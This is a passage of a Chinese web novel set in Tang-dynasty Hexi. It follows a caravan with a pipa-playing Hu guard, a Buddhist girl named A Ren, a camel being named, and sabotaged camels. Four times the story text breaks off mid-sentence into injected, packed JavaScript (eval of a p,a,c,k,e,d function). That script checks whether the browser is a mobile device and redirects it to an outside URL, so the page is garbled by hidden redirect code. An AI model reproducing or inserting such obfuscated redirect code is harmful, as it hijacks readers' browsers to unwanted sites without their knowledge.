怀中的是一把半梨形紫檀木曲项琵琶,背面画着莲花的纹路,伽衡横抱着,相当熟稔地以一串双飞开了头。胡人们本来就高大,现在聚在一起,随着琵琶与鼓的节奏踏起特殊的舞步,已然有草原上万马奔腾之势。 沙州的胡人多,阿忍经常能在街上或者招揽顾客的店前看见胡人跳舞,她其实是很爱看的;但是现在伽衡在弹琵琶,胡旋舞突然就还没有弹琵琶的动作好看了。她觉得应该是伽衡琵琶弹得好的缘故。 他一开始慢慢地抚、挑,琴声像雨水顺着芭蕉叶淌下来;到滚弦的时候,又像是珍珠互相撞击着掉落到玉盘里......发觉阿忍在看他,他也笑眯眯地回望过来,手上却又快又用力地轮指起来。 那些舞者们的身形稍微一滞,开始旋转起来。女人们旋转起来,玉臂舒展,裙摆摇曳,腰间悬挂的首饰叮叮当当地作响,既如牡丹焰火,也如彩云香风;而男人旋转起来,则如闪电疾风,整片地板都随着他们的节奏在剧烈地颤动,要使天塌陷、地崩裂一样。 气流从她脸上擦过,金石之声冲撞着她的耳朵,阿忍在欢乐到近乎癫狂的氛围里有点呼吸不上来。 高潮在逐渐弱下去的鼓点中结束,男人们停下来,汗流浃背却又笑容满面。闻拍了两下巴掌,对店家道:“再为每人上两斤羊肉、两斤好酒。” “哎呀,闻老板,”曹沛沛挠了挠后脑勺,“不过是大家表达高兴的方式罢了,怎么好意思再让你破费。” “我表达一下对兄弟们的欣赏,又有何不可。” 伽衡放下琵琶,依依不舍地抚摸了几下,才还给人家。 侍女们端着盘子鱼贯而入,阿忍于无人在意时轻声道:“伽衡?” “嗯?”他把脑袋凑过来,表情立刻就带笑了。 她还有点不好意思主动找他说话,面颊红红的。“你的琵琶真的弹得很好,是谁教的呀?” “祖父教的。” “我听他们说过,你记事起就和祖父生活在一个小驿站里。” “嗯。祖父从是吐谷浑后裔,没有别的亲人了。每日能做的事情不多,只能弹琴。” 我们在一湾潭水边有一座驿站,还有一匹母马、一头白骆驼和一把琵琶。那会儿的日子又安静又相似,像是恒河里的沙。 沙漠里养不了牛羊鸡犬,长不了太多植物,偶尔来歇脚的行人都不多,那匹母马今天什么时候回家明天就什么时候回家。祖父说你是被我绊住了啊。 他老的双腿萎缩、双眼失明、牙齿掉了一半,因此说话的时候哧哧漏风。伽衡感觉门口那五棵枯死的树加起来都没他那么老,若要是问他多大岁数,他就装作听不见。后来有一天母马没能回家,再后来琵琶坏了,最后祖父老的成了一抔黄土,一切都按照命运的安排不可阻挡地发生着。 正如伽衡不可阻挡地出了沙漠,牵着他的白骆驼。 不论是谁在讲话,阿忍都会很专心地听,睫毛安静地垂着;伽衡就不一样了,他喜欢盯着别人眼睛看,不管对方有没有正眼看他。 她被盯的不好意思,抬头瞥了他一眼,他满眼含笑:“虽说侍奉祖父这十几年我心甘情愿……但想离开也不假,我就知道沙漠外面会发生好事。” 闻辩此时准备离席了,走之前说下午的时间可以自行安排,明天早上能来集合即可,他立刻转回头问她下午想不想出去。 “我原本打算下午把衣服洗了,然后打打坐什么的......” 伽衡表示理解的咕哝了一声。阿忍回房用小木盆装了脏衣服,又下到后院,打了井水开始揉搓。身边也都是些洗衣服的人。一只公鸡摇摇摆摆来啄她的鞋子,她抬起脚,轻轻吆喝声“去”。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001928|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 翻搅的水声,此起彼伏的鸡犬声,楼梯木板的嘎吱声,各种各样的声音扑过来,在深秋的风里盘桓不去。她用力拧干衣服,直至一滴水也出不来,才搭在晾衣绳上。随后回房闭上门与窗户,席地而坐。 其实这两件事并不急。 伽衡说他一直很自由,待在沙漠里是他情愿的,离开沙漠也是他想要的。可是人与人的自由是不同的,阿忍希望自己永远不会为谁情愿留在沙漠。 如是我闻。她喃喃低语,便感觉一股清凉的气从天灵流至四肢百骸,忙趁着念了下去。四壁空荡,心无一物,只有甘霖般的喜悦无声降下。“......愿以此功德,庄严佛净土;上报四重恩,下济三途苦。若有见闻者,悉发菩提心;尽此一报身,同生极乐国。” 睁开眼,房间里已是昏黑一片,一滴汗水顺着前额流下。 应如是生清净心,不应住色生心,不应住声香味触法生心,应无所住而生其心。 弟子忏悔,菩萨保佑我来去自由。 伸手推门,第一下居然没推动,第二下推开了,看见伽衡拍着衣服站在走廊里。 “你在听我念经吗?” 伽衡点点头。他还是想问问她晚上有没有时间,走到门口听到有隐隐约约的声音飘出,遂背靠门坐着听了最后一段。 作为一个有职业修养的商人,他能分出各种金石的真假贵贱,能分出香料牲畜的属地、品质,对那些个菩萨佛祖有什么故事、谁能保科举谁能送子也一清二楚,但并不关心最根本的经文。 他只是喜欢听阿忍念经,她平常说话不会这么低、这么轻、这么快,几乎叫人听不清,却像是被布蒙住的铜铃不断作响,仿佛她说“令婆娑世界众生,百千万劫,永受安乐”,众生当真就能永受安乐。阿忍料他不专心,故意问:“那最后的回向偈说的什么呀?” 他憋了半天道:“愿以此见闻,报给菩提心......” 阿忍咬着嘴唇忍了一两秒,还是笑出了声。伽衡趁机近一步,扶着门框,探进身来朝她笑道:“饶了我吧,我着实记不住。你衣服也换洗完了,经也诵完了,这下总该得空了吧。” “我是得空了,但是,”对上那双相当期盼的眼睛,她嗫喏道,“但是在汉人的观念里,未出阁的姑娘和、和外男单独出去是不合规矩的。” 假如现在对面是个汉族男人,两个人估计要羞死,一个疯狂解释“我不是那个意思啊就是随便走走我和老家的青梅早就订了亲”,一个疯狂道歉“我也知道你不是那个意思我没那么看得起自己但是怕别人不这么想”。但是伽衡从来不拐着弯儿说话,他“噢”了一声,“那我是不清楚,险些让你落了人家口舌。” “没关系啦。” “你未出阁,那有没有订下的人家?” 阿忍脸要红透了,她揪着自己的衣角,“没。” 岂止没有定亲,赵无量都没考虑过她的终身大事。如果没意外的话,她会给义父养老送终,然后帮义弟一起打理泥塑生意,出家为尼也说不定。 但伽衡似乎完全理解错了她的意思,他其实早就猜到她没订亲,现在得到了证实,眼神一下亮起来:“我还听说你们汉人有一个规矩,男人娶女人是要给聘礼的,女人越尊贵给的越——” 5. 斗酒相逢 阿忍生怕他说出什么惊人的言论,吓得结巴,“你,你吃过晚饭了吗?我还没吃过呢,咱们去厨房里看看。”言罢也不等他同意,率先就出门往楼下走。 楼梯右边是木质墙壁,这种驿站的墙壁上往往都被提满了诗,其中有惊才绝艳的篇章能被人抄写、传颂、流芳百世,有的平庸到没人读完。阿忍拼命地抢些话来讲,当下也不管什么好坏,将看见的第一首诗念了出来: “弯弯月出挂城头,城头月出照梁州。凉州七里十万家,胡人半解弹琵琶......” “嗯?”伽衡的注意力确实被吸引了,不满道,“还半解,胡人不知道比他弹的好多少。” “琵琶一曲肠堪断,风萧萧兮夜漫漫。河西幕中多故人,故人别来三五春。花门楼前见秋草,岂能贫贱相看老。一生大笑能几回,斗酒相逢须醉倒。” 这便是要流芳百世的了。她还站在原地发愣,伽衡先往下走去,心里原谅了这个乱说话的汉人。感情是相通的,“断肠”这个词么,北朝的民歌也常用,比如说《陇头歌辞》——祖父最喜欢的歌曲之一,“遥望秦川、心肝断绝”。故人别来三五春......今年正好是祖父去世的第五年。 他的故人并不多,祖父算一个,阿史那哈尔算一个,闻辩算一个,白骆驼算一个。骆驼的寿命能有三十多年,且会永远跟随他,与他没有生离、只有死别。 阿忍认真听他讲了半天他的骆驼,遂问道:“那他叫什么名字呀?” 伽衡惭愧地定住,他居然没想过给骆驼起名字。这个想法很可爱,还是阿忍提出的,而且一旦有了名字后,白骆驼就会有别于千千万万只没有名字的骆驼了,从牲畜一跃成为故人,怎么看都是一个有必要立即实施的提议。 “叫‘阿黑’怎么样?” 阿忍茫然道,“这是某种幽默吗?” “祖父是从一个突厥商人那里买来的。在突厥语里,‘阿黑’是‘白色’的意思。”他征求地看向阿忍,阿忍沉默了会儿表示你的骆驼你做主,他越发不安,“我不怎么会起名字,还请你给些建议。这没什么好介意的。” 胡人说他不介意,那他是真一点儿也不介意。两人于是边讨论名字边进了厨房,只有一个大娘还在收拾残局,一看有人进来便愤怒地一摔抹布。 “我们等会儿自己清理。”阿忍道。 大娘捡起抹布走了。 阿忍卷起袖子,在水缸里舀水洗手。她做饭相当熟练,拒绝了伽衡的帮忙,陀螺似地一下把火升起来了。揉面,用手指一下下地往锅里挼极薄的面片,锅勺翻搅,动作轻盈敏捷。他背靠着桌子,用手反撑着,道:“不如叫‘不缺食物的’?” “可以呀,是个美好寓意。” 不好,有很多途径都可以达到“不缺食物”这个目的,比方说献媚、乞食......他说:“叫巴瑞施玛。不改了!” “是什么意思?” “你可能不喜欢,过会儿再告诉你。” 她当即也是一笑。猪油和葱花的香气飘出来了,在寒冷的深秋中,气味似乎都带着温度。阿忍将锅里的内容物舀进碗里,他道谢接过。 她转身在灶边挂着的布上擦了擦手,结果那是厨子用惯了的,越擦越油;用水洗,水就像滚过荷叶一样滚过去,只好不知所措地举着。伽衡见状,转身出去抓了一把细沙给她,真的两下就搓掉了。 这一顿馎饦便简单完成了,她还不断道歉说不好多用人家的食材,所以味道有些淡。 其实伽衡很少吃汤汤水水的,因为不方便。烤胡饼和肉干是他的主食,一袋子可以装下一个月的,还不容易变质,之前总嫌难吃,后来也习惯了。 曹丰年曾经说,等他攒够了钱,就在某个小城娶个妻子安定下来,以后每顿都要吃有汤水的。伽衡当即毫不留情地嘲笑他就这点出息,毕生夙愿就是吃点汤水? 曹丰年说那你小子有什么大出息? 伽衡一时半会儿也答不上来。他现在低头尝了一筷子面片,觉得曹丰年还是很有出息的,尤其是对面还坐着阿忍,正小口小口地对着勺子吹气。雾气升上来,悠悠漫过她的脸。吃完晚饭伽衡留下打扫厨房,阿忍要回房,两人在厨房门口别过。 阿忍上楼的时候又看到了那首诗。她停下来仔仔细细地读了一遍,才发现署名是岑参,想不到自己这等小人物的行踪竟能与这样著名的边塞诗人有交集。伸出手触摸不知道多少年前留下干涸的墨迹,诗中的苦楚却历历如新。 真当流传千古。她一边回屋一边思忖着,不过话又说回来,千古来写的诗,其实都在写一个无可奈何呀。 而伽衡也在想那首诗。他没走远,只是略有些烦躁地转到了栓牲口的棚子边,那些值夜的人都靠着骆驼柔软的皮毛打起了鼾,除了一个叫郑枥的孩子在咔嚓咔嚓啃苹果。见他来,郑枥问:“这么晚不睡觉,来这儿干什么?” 伽衡不搭理他,小孩子懂什么。 郑枥翻个白眼,躺回去继续吃。他大概才十岁出头,当初穿着一身破烂找到闻辩说要跟着他干,闻辩不是个喜欢做慈善的人,简直不知为何会收下他!阿忍来了后,给他把所有衣服都补好了,还总给他留好吃的——哎,阿忍对每个人都这样! 远远听见驿站的大里堂还是载歌载舞、欢声笑语,在寂静的夜晚格外明显,不知道是哪一支商队初来乍到,想必这样的热闹场景每天都要上演好多遍,只是人换了。他走过大棚,觉得自己有点“断肠”,但是好像也没那么严重。白骆驼——现在叫巴瑞施玛,不和其他骆驼拴在一起,被单独拴在了后院的一棵树边,已经把身边的干草垛尖尖啃圆了。 他觉得自己若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001929|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个汉人,今夜能在凉州馆的墙壁上题出一首郁闷的诗;可惜他不是,只堪堪能读懂诗,至于说汉人女子的心思就一点儿也读不懂了。 大堂里的歌声越来越大。他一边帮巴瑞施玛捉虱子,一边轻声唱起来:“华阴山头百丈井,下有流水彻骨冷......”将这首《捉搦歌》唱到第三遍的时候,瞥见有个戴斗篷的人从后门过来了,便随手抄起草垛边的铁草叉。 “是我。”闻辩褪下帽子,“怎么值夜的都睡着了?” “一直都是这样,你应该扣他们工钱。” “我要扣他们工钱,也不会因为你自愿值夜多给你的。”打趣完后迈腿欲走,但闻辩见是难得的四下无人的好机会,又退回几步,“你是个胡人,身份多有不方便,不要招惹正经人家的娘子。” 伽衡突然伸手拦住他。他身长八尺,肩宽背直,即使不习武,靠近时也会造成无形的压迫感。闻辩只得停下来,看他月光映照下的眼睛。他接触胡人很多年了,还是觉得只有黑色的眼睛最安宁、温存,其他蓝的绿的怎么看都有兽类般无知无觉的残忍。 虽然他本人并没有摆脸色的意思,他认真道,“你说了不算。” 闻辩不置可否地一笑,快步回房了;又剩他一人在原地思考些从未考虑过的问题,几乎没感觉到时间的流逝,直到鸡叫起来。叫得撕心裂肺,他第一次听到这么难听的鸡叫,但是疲惫的商人们需要这样强有力的声音催起床。 闻辩站在门口,正和驿站长说话。他仰头看去,阿忍提着衣摆小步下楼,眼睛不看楼梯,反而向这边看;伽衡朝她招招手,她笑笑后又不看他,低头专心致志地走路。 等闻辩和驿站长互相吹捧、互相道谢、互相表达未分别前的思念完后,鸡已经叫了第三道,队伍总算是顺利地启程了。接下来的路程里,伽衡愈发明显地感受到阿忍对他态度变成了礼貌的疏离,首先她在躲自己,就算碰巧能说上话也是你问一句她就答一句。 阿忍最近是喜欢往闻辩那儿跑,还喜欢问离长安有多远。 “才到金城。” “才到武阶。” “才到秦州,”闻辩失笑道,“阿忍想家吗?” 想家是一方面,她怕路太长,而自己的修行太浅。阿忍摇摇头,拿把小锤子敲坚果,给闻辩干干净净剥了一盘子。闻辩也不知道她哪里养成的习惯,肯定是被赵无量那老家伙害的,走哪儿都想帮对方做点什么事。 例如黄三树前天谈到家里有个小女儿,她就说要捏个泥娃娃给孩子玩,昨天便上街找人买了泥砖,已经开始捏了,闻辩瞧着还是那泥娃娃慈眉善目一脸佛光,也不知道人家小姑娘喜不喜欢;例如曹沛沛也开始缠着她要学写字要听汉人的历史,她就能耐心讲上几个时辰;例如大家都觉得她做饭好吃,她便在有条件的时候总去厨房捣鼓两下。 6. 溃烂 “如果可以的话,”他又问,“我能知道你是怎样被赵师傅收为义女的吗?” “是很小的时候被捡来的。”阿忍答道,“我也不记得了。” 她又低下头去锤坚果,一不小心锤了个稀碎,于是干脆自己一点一点拈起来吃掉了。闻辩盯的同时咬着下唇内侧的肉,正准备多问些什么的时候,章堂突然掀开门帘进来了。他本是河西人氏,屡次科举不成,如果说伽衡在队里主要负责人和货物的安全,他便负责日常管理。他对闻辩道:“刚才郑枥带了一个叫郑龟寿的人过来,说是自己族叔,希望能加入商队。” “哦,”闻辩道,“你让他......” “闻辩,你知道办个公验要一周吧?” “......走,”他无奈道,“你不要对我有偏见。” 门帘又被甩开,郑枥进来了,他看也不看一眼章堂,直接给闻辩行了个礼,“闻先生,还请您再思量思量,我族叔说他可以支付特殊的报酬。只要您愿意带上他。” 他话音未落,章堂便冷冷地哼了一声,“闻先生收你一个拖油瓶还不够?那个郑龟寿那么大岁数的人了,为何突然放下他自己的营生不做,跑来行商?” “他本是做古董生意的!前一阵子走了眼,亏本欠了钱,现在在秦州被催债催的厉害,想着出城避一避。” “哦,我听出两点。第一,他不擅长做生意;第二,他欠了债。好了,我这就去把他赶走——” “慢着。”闻辩站起身,不顾章堂惊诧愤怒的目光,“我本是个商人。如果他那特殊的报酬能吸引我,那也未必不能一谈。郑枥,你去把他请进来吧。其他人出去。” 章堂一甩袖子,踏着很重的脚步走了出去。门口有一圈人围着看热闹,原来是那郑龟寿在门槛处保持着一个跪地磕头的姿势,他见了简直气得脸色煞白。郑枥一溜小跑过来,估计也是觉得丢人,拽起他叔就往里跑。周围人发出一阵唏嘘。 在大唐,成年男丁都有缴税和服役责任,没有正当理由不得随便离开本县,这时候跟随商队便成了首选的正当理由。这几乎都形成了一条灰色产业链。但要为他们写牒文、等待州政府批准,还要大费一番周折,其中很多在本地欠了债、有前科、信用差的人还申请不成功。闻辩涉足此产业链多年,早已打通了这个帝国的某些关节。 章堂本质上仍是个文人,看不惯这样的事。凑了会儿热闹的伽衡就觉得无所谓,曹丰年又在身边一个劲儿问他去不去玩投壶,他说行吧,一转身便看见一个白色的小小身影往这边来。曹丰年立刻就不急着去玩儿了,气氛陡然焦灼起来,阿忍一副若无其事的样子打算继续往外走,伽衡率先开了口:“阿忍最近不想见到我吗?” 她再也没有什么时候比现在更怕胡人的坦直了,他暗着生她的气还好,非要把话这么明白的说出来,叫她如何受得了。伽衡见过蜗牛从沙坑里钻出来,一下子被阳光烤得全身僵直动弹不得的样子,就像阿忍现在的样子,连忙半蹲下身子握住她的肩膀:“我不是责怪的意思。” 阿忍的脸愈发白了。她并不是那种干瘦的身材,手臂、腹部和腿上都有肉,骨肉匀称而不丰腴,今天的衣裳又薄,伽衡这一抓,汉人写的什么“手如柔荑,肤如凝脂”的诗句就纷纷从脑海中滑过。他讪讪地松开手,“我不是责怪你,只是我之前如果做错了什么,让你不想理我,好歹也告诉我。” 她摇摇头,“没有。” 伽衡更加迷惑了:“那你为什么待我这样冷淡?” “我没有......冷淡,”阿忍绞着衣角,“现在我也同你说话呀。我同谁都说话。” 他默默看了她一会儿,闪身让开了,阿忍加急脚步冲过去,一时间谁也没想郑龟寿的事。 除了郑枥。他等了没多久,就看见六叔喜气洋洋地走出来:“他留我了。” 又说要回家收拾点东西,辞别闻辩,便与郑枥一起往家的方向走。郑枥一开始低头看路不说话,直到郑龟寿拍了拍他的脑袋,“这一路上吃过什么好的没?瞧你瘦的。” “......吃过一两次。” “六叔带你去吃鸡丝馄饨。” 郑枥总算是抬起头来,扫了一眼他额头上的泥灰和血迹,“你为什么临时起意要去长安?就因为我跟你说了那位随行的赵娘子?” “与我们家关系大了。”郑龟寿意味深长,“阿枥啊,倘若你不与我说起此事,我几乎一辈子都被蒙在鼓里......赵安忍,伽衡,这两个人的名字是出现在我儿时听过的故事里的,已死之人。” 郑枥浑身一震。 “如果成功的话,”他笑道,“我将把这个秘密献给圣上。荣华富贵啊,召之即来啊!” 郑龟寿带他到一个面铺里坐下,他似乎和老板很熟,坐下也不点单,就拉着郑枥问这问那了,不一会儿两碗鸡丝馄饨就上来了。郑象还以为真的只有头发粗的鸡丝,没想到鸡肉还挺多,飘着一层黄油的汤散发出鲜美的味道,白花花的面条又熟又有嚼劲,他连碗都舔了三遍。 郑龟寿又给他加了两个蛋。郑枥其实对这位叔叔的了解并不深,他猜他家里的情况确实是不富裕了,可能欠了一点钱,但不至于被人追着要,犹豫片刻后说:“闻辩可能会打探你的情况......” “天衣无缝!”他也很享受地吧唧着嘴吃自己的那份面,“我还能想不到这点吗。那个人精,找吕老板问我情况。吕老板祖上三代都是本地人,我也跟他交过底,都是八九不离十的事。” 郑枥点了点头。可能是吃饱喝足了,一股热气从胃发散开,冒到手脚末端,让他既暖和又舒服。郑龟寿的家是个很小的宅院,略显破败,就两个年纪很大的下人在里面围着炉子补鞋垫。妻子关氏一听见门口有响动便冲了出来,上下打量,先是对郑枥表示了欢迎,然后喋喋不休地骂起郑龟寿为什么要把自己搞得脏兮兮的,为什么要借驿站的马回来晚上被人偷了怎么办,为什么带个半大孩子游荡到这么晚才回家。她一边骂,一边利落地给两人铺好床单打好热水,于是郑枥安心地当着个半大孩子,在这个只有过几面之缘的六叔家里睡下来。第二日,他们收拾好东西,回到了队里。 曹沛沛本来路过他,又退了几步,“你是不是看管草料的人啊?我昨天下午说了那个墙角潮得很,刚刚看还在原地。” “哦!我马上就去!” “我已经挪走了,下次注意。”曹沛沛说完便走,郑象追上他,大声说:“并非是我忘了,而是因为我昨晚住到我六叔家里了。他也要和我们一起去长安了。” 曹沛沛原来也与他不熟,想来昨天在门口赖着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001930|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不走的那个就是他六叔,只是点了点,便又去忙自己的事了。郑龟寿的资料还没有下来,近些天其实杂务并不多。他不过是想快点做完然后到阿忍那里去,听她读读书而已。他很少得空。 再启程已是六日后了,他们一路向东南,翻越陇山,便是诗中“此去秦川无别路,隔崖穷谷却难迷”的所在。 阿忍大半时间都在车里冥想,驼队突然停住,不一会儿又继续走动。她唤曹沛沛来问发生了什么,他轻描淡写地说有只骆驼出了点小毛病,没事。直到晚上吃饭的时候,阿忍才从黄三树的描述中知道事情的全貌:是伽衡叫停的。他像往常一样头尾来回走动,突然便说停下,上前掀开一只骆驼大腿上的毛,竟然已经溃烂流脓,只是走路姿势正常,迟迟未被发现。杂役们匀了几个货袋分担到别的骆驼身上。 她急问道:“是什么传染病吗?” “不是不是,偶尔就会这样。”黄三树宽慰道,“我们绑货袋的时候还要把牲畜身上的草杆子和砂石摘掉,因为放上重物后,肌肉一运动,容易磨烂。想来它也是被什么东西磨到了。” “那溃烂了好治吗?” 黄三树与身边的曹丰年一对视,干巴巴地说:“不好治。就是象和牛这样庞大的动物,坏了条腿一样能生活,偏偏马与骆驼不行。这头骆驼好歹没烂到骨头上,今晚便寄养在这里疗伤,好了后就让人直接牵去沙州待命。这路上是用不了它了。” 篝火噼里啪啦地响,四周空寂,只有不远处的流水发出极细微又令人浑身疲倦的噪声,他们安静地啃了一会儿胡饼。现在队伍驻扎在山脚下,杂役们已经把帐篷支起来了,树影、山壁与布帐子几乎融为一体。阿忍钻进自己的帐篷,看见外面的人举着火把走来走去,皮影一样。只见一个身影跑过来——在她意识到之前,她已经认出是谁了——从后往前把另一个影子,大概是曹丰年,后脑勺一扇。 曹丰年叫道:“你干什么?” “出事儿了,快跟我来。” 周围的嘈杂声陡然变大,皮影成群往河边跑去。阿忍自然待不住,掀起帘子,正对着伽衡回头的目光。他猜她就要跟着钻出来。一行人沉默地疾走到水边,杂役们的议论就传过来了:“怎么都伤了......” 伽衡挤进去,好像不适应在闹哄哄的人群中说话,站了好一会儿才开口道:“今晚我们对所有骆驼进行了检查。一百零七头骆驼中,有四十三头腿上有不同程度的溃烂,还有一些破了皮。继续前行的话,它们可能落下残疾,我们也会困在山里。所以请大家稍安勿躁,在原地等待,我回去借骆驼,顺便把这些伤了的也带回熟人那儿暂且养着。” “我们已经耽搁一周了!” “谁干的啊?我出来二十多年,从来没遇到这种怪事。” “是的,此时绝非偶然,”他用更大的音量盖过众人,“是贼人打的。” 黄三树冲出来急叫道:“绝无可能!我是管骆驼的,绝无可能!你莫不是在怀疑我——”他着急地往前冲,被伽衡伸臂勾住,一边低声道“你跟闻辩解释去”一边往旁边带了几步。人们的议论声更大了。这么一路走来,到了长安货物逾期怎么办?有贼人在附近,可以在此地久留吗?骆驼怎么借的到?议论着议论着都要打起来了,批判是有了,却没提出一个解决办法。 7. 胡马依北风 伽衡送走黄三树后,解下腰间的水囊在河边灌满,随后便爬到巴瑞施玛的背上,脸上没有什么表情。不是因为被质疑了而感到不开心,是平静地在思考接下来怎么办。 曾经闻辩跟阿忍闲聊时说伽衡虽是个很好相处的人,但和大家其实格格不入。这种格格不如不是指别人聚在一起的时候他独自待着,也不是指别人歌舞酒肉的时候他不感兴趣,更不是指他工作不负责——从那天以后队伍就没迷过路,而伽衡自己却处于永恒的迷途中。周围人生老病死、发财遭灾,他在对岸漫不经心地观望着,隔着的那条宽广大河雾气霭霭。 “知道我为什么与你说这些吗?”闻辩随意道。 阿忍先猜他是在打禅机,在《六祖坛经》中有关于“彼岸”的说法:何名波罗蜜?此是西国语,唐言到彼岸。解义离生灭。著境生灭起,如水有波浪;离境无生灭,如水常通流......但人到达彼岸的状态不应是“迷途”,而是心无挂碍。遂虚心请教。 “我没那么喜欢打禅机......唉,”闻辩看起来有些无奈,“是建议你离他远一点。” 她的脸腾地就红了,“本、本来也没有——” “是他在骚扰你,我知道。外人本不该管闲事,只是我了解伽衡,知道无根之人身上结不出什么‘果’。”他拍了拍她的肩,力度很轻,阿忍却已经像被重锤敲过一样蔫巴巴的。 可若要论起“无根”这件事,谁能有她无根?除了是被义父收养的孤女以外,她还有一桩更大的秘密。阿忍是看上去很乖、其实不怎么信邪的人,她不理他有自己的考虑;可闻辩若来劝阻一番,她就要觉得他可怜了。伽衡那么把你当朋友呢,这样说他多不好。 这是理由之一。理由之二是她情难自禁。 伽衡回了头——就像刚才一样知道她在身后——招了招手,“夜里风大,你快回去!” 他瞧着她轻轻蹙着眉头,一会儿张嘴一会儿闭上,最后只是停在原地小声问,“你跟闻辩说过没有?” 巴瑞施玛作为单峰骆驼比双峰骆驼要高,加上伽衡本人更是身形颀长,即使隔着二十多尺也要低头看她。“说过啦,”他本来没什么表情的脸上立刻就流露出笑意,拍了拍腰间的钱袋,“他把银子都给我了。” “哦。”阿忍抠了会儿树皮,忍不住又说,“你带几个同伴去吧。山路本不好走,一个人怎么赶牲畜?” 他脸上的表情说明他就在等这句话,“这队伍里只有巴瑞施玛跑得快,人多耽搁久了,反而不安全。阿忍放心,我后天日落前便回来。”言罢,一拽缰绳,巴瑞施玛便像马一样矫健地奔跑起来,阿忍后面那句“没谁催你呀,慢点走”淹没在闷闷的蹄声里。那些伤了的骆驼早就跟在巴瑞施玛后面,也跟着勉勉强强跑起来,心里估计也知道到了县里就可以休息。一时间尘土飞扬,待黄土慢慢飘回地上,人影早就不见了。 回去第一件事是去看黄三树的情况,他刚从闻辩那里出来,一脸愤懑并且不愿细讲,收拾了被褥表示自己要睡在骆驼旁边。阿忍跟在后面絮絮叨叨:“......伽衡就是对自己的本事太自大了!肯定不是被打的,不然,我睡眠轻,怎么从未听到骆驼叫唤?” 黄三树沉痛地看着她:“一般确实是不叫的,除了配种的时节。赵娘子,你先回去吧。”他一路念念叨叨骂骂咧咧地去了,漆黑黑的河水里映着一轮好大的月亮,骆驼像一座又一座山峦一样跪伏在水边,闻声用一双双圆眼平静地看过来。它们的眼神永远这样平静,不论你是爱它们还是不爱它们。 后面的两天没有发生什么异常,除了营地内的流言四起。有人说这一趟经过沙州没去石窟上香,菩萨怪罪了;有人说虢国夫人会把迟交货物的商队杀掉;还有人说他听闻安禄山造反了。一个比一个离谱。阿忍虽不懂什么朝政大事,但她知道这个赫赫有名的胡人担任了三镇节度使。圣宠在身,又正值太平天子坐镇,怎会有这样荒唐的事儿。 第三日下雪了。 阿忍穿上了之前一直没拿出来的一件梅花图案深红色袍衫,说是下雪,温度其实和前两日没多大差别,只是她觉得雪天穿这件衣服很好看。但看见几个杂役穿着两层破破烂烂的布衣服走来走去,心里又不是滋味起来。近黄昏时,她磨磨蹭蹭走到树边站着,不愿细究自己在想什么。 曹沛沛探头探脑地跟过来,“赵娘子,你现在有事吗?” “没有呀。” “那我们来......玩雪吧?”他咕哝道,搔了搔脑袋,“我倒是愿意进去睡大觉,只怕你无聊。” 平日里阿忍是最能读懂这个孩子的心思,现在她望着愈发西沉的落日,满心都在担忧伽衡路上会不会出什么岔子。见曹沛沛外套是件磨破了的胡服,里面只有一件粗黄布衫,指尖鼻头都冻得通红,便道:“我不要紧,你还是回去吧,待会儿太阳落山了愈加冷呢。”也没在意他是怎样咕咕哝哝走的。 天空灰扑扑的,是铁的颜色,几乎能闻到腥锈味儿。 远远有响动传来,她左边靠着山脚,右边隔着河又是一道峭壁,回音反反复复地在两臂间奔走,传得格外远。当下倾耳细听,凿地有力、滚滚如雷,竟是马群的声音,再就是一声长过一声的哨音。 哨音?她心中一凛,伽衡身上并没有哨子呀,难不成是别的马队?但又怎会跑得这样快。她觉得不妙,转身欲回去告诉闻辩,拐角处第一匹马已经出现了。土路狭窄,这匹马的架势看上去非要撞死自己不可,阿忍吓得六神无主之时,又是一声哨音,哨音陡然变高,那马突然跳进没过小腿的河里继续狂奔。 越来越多的马跟着跳进河里,一时水花激荡、回声震天,巴瑞施玛的身影在最后出现,打着响鼻欢快地小步走着,甚至想跳进河里一起玩,被主人一巴掌拍在脑袋上。伽衡戴着顶尖毡帽,耳朵的下半边都被冻红了,又发出一声哨音。那哨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001931|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 